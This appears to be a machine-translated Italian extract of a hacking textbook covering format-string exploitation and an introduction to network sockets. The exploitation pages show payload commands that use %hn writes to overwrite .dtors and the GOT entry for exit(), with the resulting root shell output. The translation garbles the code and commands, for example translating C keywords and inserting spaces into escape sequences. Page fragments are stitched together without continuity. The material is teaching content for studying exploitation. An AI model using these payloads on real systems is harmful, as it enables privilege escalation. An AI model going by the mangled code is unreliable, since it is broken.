Pagina 197
(gdb) p 0xbfff - 8
$ 1 = 49143
(gdb) p 0xfd72 - 0xbfff
$ 2 = 15731
(gdb) esci
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x96 \ x97 \ x04 \ x08 \ x94 \ x97 \ x04 \ x08")% 49143x% 4 \
$ hn% 15731x% 5 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
????% 49143x% 4 $ hn% 15731x% 5 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
????
b7fe75fc
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
lettore @ hacking: ~ / booksrc $
Sfruttamento 183
Pagina 198
dtors_sample.c
#include <stdio.h>
#include <stdlib.h>
principale() {
printf ("Alcune azioni avvengono nella funzione main () .. \ n");
printf ("e poi quando main () esce, il distruttore viene chiamato .. \ n");
uscita (0);
}
184 0x300
Pagina 199
Sfruttamento 185
Pagina 200
trova. Quindi vengono visualizzati i byte effettivi, al contrario dei DWORD, il che significa
i byte vengono invertiti. Tenendo presente questo, tutto sembra essere corretto.
Sezioni:
Nome Idx Dimensioni VMA LMA File off Algn
0 .interp 00000013 08048114 08048114 00000114 2 ** 0
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
1 .note.ABI-tag 00000020 08048128 08048128 00000128 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
2 .hash 0000002c 08048148 08048148 00000148 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
3 .dynsym 00000060 08048174 08048174 00000174 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
4 .dynstr 00000051 080481d4 080481d4 000001d4 2 ** 0
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
5 .gnu.version 0000000c 08048226 08048226 00000226 2 ** 1
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
6 .gnu.version_r 00000020 08048234 08048234 00000234 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
7 .rel.dyn 00000008 08048254 08048254 00000254 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
8 .rel.plt 00000020 0804825c 0804825c 0000025c 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
9 .init 00000017 0804827c 0804827c 0000027c 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
10 .plt 00000050 08048294 08048294 00000294 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
11 .testo 000001c0 080482f0 080482f0 000002f0 2 ** 4
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
12 .fini 0000001c 080484b0 080484b0 000004b0 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
13 .rodata 000000bf 080484e0 080484e0 000004e0 2 ** 5
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
14 .eh_frame 00000004 080485a0 080485a0 000005a0 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
15 .ctors 00000008 080495a4 080495a4 000005a4 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICO, DATI
186 0x300
Pagina 201
Sfruttamento 187
Pagina 202
b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2 # whoami
radice
sh-3.2 #
188 0x300
Pagina 203
reader @ hacking: ~ / booksrc $ ./notetaker AAAA $ (perl -e 'print "% x." x10')
[DEBUG] buffer @ 0x804a008: "AAAA% x.% X.% X.% X.% X.% X.% X.% X.% X.% X."
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
reader @ hacking: ~ / booksrc $ ./notesearch AAAA
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 5 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 35 byte per l'ID utente 999
AAAAbffff750.23.20435455.37303032.0.0.1.41414141.252e7825.78252e78.
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $ ./notetaker BBBB% 8 \ $ x
[DEBUG] buffer @ 0x804a008: "BBBB% 8 $ x"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ ./notesearch BBBB
Sfruttamento 189
Pagina 204
Ora che la disposizione relativa della memoria è nota, lo sfruttamento è solo un file
questione di sovrascrivere la sezione .dtors con l'indirizzo dello shellcode iniettato.
21
------- [dati di fine nota] -------
sh-3.2 # whoami
radice
sh-3.2 #
190 0x300
Pagina 205
Sfruttamento 191
Pagina 206
lettore @ hacking: ~ / booksrc $ objdump -h ./fmt_vuln | grep -A1 "\ .plt \"
10 .plt 00000060 080482b8 080482b8 000002b8 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
Questi indirizzi esistono in un'altra sezione, chiamata tabella di offset globale (GOT) ,
che è scrivibile. Questi indirizzi possono essere ottenuti direttamente visualizzando il file
voci di riposizionamento dinamico per il binario utilizzando objdump .
192 0x300
Pagina 207
ancora una volta per chiarezza. Nell'output seguente, l'indirizzo dello shellcode ()
viene scritto nell'indirizzo della funzione exit () ().
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x86 \ x97 \ x04 \ x08 \ x84 \ x97 \ x04 \
x08 ")% 49143x% 4 \ $ hn% 14829x% 5 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
????% 49143x% 4 $ hn% 14829x% 5 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
????
b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2 # whoami
radice
sh-3.2 #
Sfruttamento 193
Pagina 209
208
0x400 NETWORKING
La comunicazione e il linguaggio sono notevolmente migliorati
le capacità della razza umana. Utilizzando un comune
linguaggio, gli esseri umani sono in grado di trasferire la conoscenza,
coordinare le azioni e condividere le esperienze. Allo stesso modo,
i programmi possono diventare molto più potenti quando ne hanno la capacità
comunicare con altri programmi tramite una rete. La vera utilità di un web
browser non è nel programma stesso, ma nella sua capacità di comunicare con
server web.
Il networking è così diffuso che a volte è dato per scontato. Molti
applicazioni come la posta elettronica, il Web e la messaggistica istantanea si basano su
ing. Ciascuna di queste applicazioni si basa su un particolare protocollo di rete, ma
ogni protocollo utilizza gli stessi metodi di trasporto di rete generali.
Molte persone non si rendono conto che ci sono vulnerabilità nella rete
protocolli stessi. In questo capitolo imparerai come collegare in rete la tua app
cationi utilizzando socket e come affrontare le vulnerabilità di rete comuni.
Pagina 210
Quando i dati vengono comunicati attraverso questi livelli di protocollo, vengono inviati
piccoli pezzi chiamati pacchetti. Ogni pacchetto contiene implementazioni di questi
strati di protocollo. A partire dal livello applicativo, il pacchetto avvolge il pre-
livello di sentation attorno a quei dati, che avvolge il livello di sessione, che avvolge
lo strato di trasporto e così via. Questo processo è chiamato incapsulamento. Ogni
il livello avvolto contiene un'intestazione e un corpo. L'intestazione contiene il pro
tocol informazioni necessarie per quel livello, mentre il corpo contiene i dati per
quello strato. Il corpo di uno strato contiene l'intero pacchetto di precedentemente
strati incapsulati, come la buccia di una cipolla oi contesti funzionali
trovato nello stack di un programma.
196 0x400
Pagina 211
Rete 1 Rete 2
applicazione Internet applicazione
Networking 197
Pagina 212
Tutto questo incapsulamento dei pacchetti costituisce un linguaggio complesso che ospita
su Internet (e altri tipi di reti) utilizzano per comunicare con ciascuno
altro. Questi protocolli sono programmati in router, firewall e file
sistema operativo del computer in modo che possano comunicare. Programmi che utilizzano
networking, come browser web e client di posta elettronica, devono interfacciarsi con
il sistema operativo che gestisce le comunicazioni di rete. Dal momento che il
il sistema operativo si occupa dei dettagli di incapsulamento della rete, scrittura
programmi di rete è solo una questione di utilizzo dell'interfaccia di rete del sistema operativo.
0x420 prese
Un socket è un modo standard per eseguire la comunicazione di rete tramite
OS. Un socket può essere pensato come un endpoint di una connessione, come un socket
su un centralino operatore. Ma questi socket sono solo di un programmatore
astrazione che si prende cura di tutti i dettagli essenziali del modello OSI
descritto sopra. Per il programmatore, un socket può essere utilizzato per inviare o ricevere
dati su una rete. Questi dati vengono trasmessi al livello di sessione (5), sopra
gli strati inferiori (gestiti dal sistema operativo), che si prendono cura di
instradamento. Esistono diversi tipi di socket che determinano l'estensione
struttura dello strato di trasporto (4). I tipi più comuni sono stream
socket e socket datagramma.
I socket di flusso forniscono una comunicazione bidirezionale affidabile simile a quando
chiami qualcuno al telefono. Un lato avvia la connessione a
altro e dopo aver stabilito la connessione, entrambe le parti possono comunicare
all'altro. Inoltre, c'è la conferma immediata di ciò che hai detto
effettivamente raggiunto la sua destinazione. I socket stream utilizzano una comunicazione standard
protocollo chiamato Transmission Control Protocol (TCP), che esiste su
lo strato di trasporto (4) del modello OSI. Sulle reti di computer, i dati sono
di solito trasmessi in blocchi chiamati pacchetti. TCP è progettato in modo che il
i pacchetti di dati arriveranno senza errori e in sequenza, come parole
arrivando dall'altra parte nell'ordine in cui sono stati pronunciati quando sei
parlando al telefono. Server Web, server di posta e rispettivi
tutte le applicazioni client utilizzano TCP e stream socket per comunicare.
Un altro tipo comune di socket è un socket per datagrammi. Comunicare
con un socket datagramma è più come spedire una lettera che fare una telefonata.
La connessione è unidirezionale e inaffidabile. Se spedisci più lettere, tu
non posso essere sicuro che siano arrivati nello stesso ordine, o anche che siano arrivati
la loro destinazione. Il servizio postale è abbastanza affidabile; Internet, come
mai, non lo è. I socket datagram utilizzano un altro protocollo standard chiamato UDP
invece di TCP sul livello di trasporto (4). UDP è l'acronimo di User Datagram
Protocollo, il che implica che può essere utilizzato per creare protocolli personalizzati. Questo
protocollo è molto semplice e leggero, con poche protezioni incorporate. Suo
non una vera connessione, solo un metodo di base per inviare dati da un punto
ad un altro. Con i socket del datagramma, c'è un sovraccarico minimo nel protocollo,
ma il protocollo non fa molto. Se il tuo programma deve confermare che a
il pacchetto è stato ricevuto dall'altra parte, l'altra parte deve essere codificata per l'invio
indietro un pacchetto di riconoscimento. In alcuni casi la perdita di pacchetti è accettabile.
198 0x400
Pagina 213